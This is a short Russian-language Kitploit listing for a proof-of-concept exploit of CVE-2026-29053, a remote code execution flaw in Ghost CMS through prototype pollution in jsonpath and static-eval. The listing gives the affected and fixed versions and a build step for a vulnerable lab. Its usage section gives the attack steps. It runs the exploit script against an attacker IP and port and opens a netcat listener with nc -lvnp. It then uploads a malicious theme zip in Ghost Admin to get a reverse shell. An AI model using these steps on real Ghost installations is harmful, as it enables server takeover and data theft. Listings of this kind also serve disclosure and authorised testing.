CVE-2026-29053 — Эксплойт proof-of-concept для удалённого выполнения кода в Ghost CMS через prototype pollution в jsonpath и static-eval, с настройкой уязвимой среды и инструкциями по использованию. | Kitploit

CVE-2026-29053

RCE в Ghost CMS через цепочку прототипов jsonpath/static-eval.

Информация

CVE: CVE-2026-29053
Затронутые версии: Ghost <= 6.19.0 с jsonpath 1.1.1 + static-eval 2.0.2
Исправлено в: 6.19.1

Демонстрация

CVE-2026-29053.webm

Настройка уязвимого окружения

cd build
./build.sh

Использование

python3 exploit.py -i <YOUR_IP> -p <PORT>

Запустите слушатель: nc -lvnp <PORT>
Загрузите malicious-theme.zip в Ghost Admin → Settings → Design

CVE-2026-29053

Популярное

Ссылки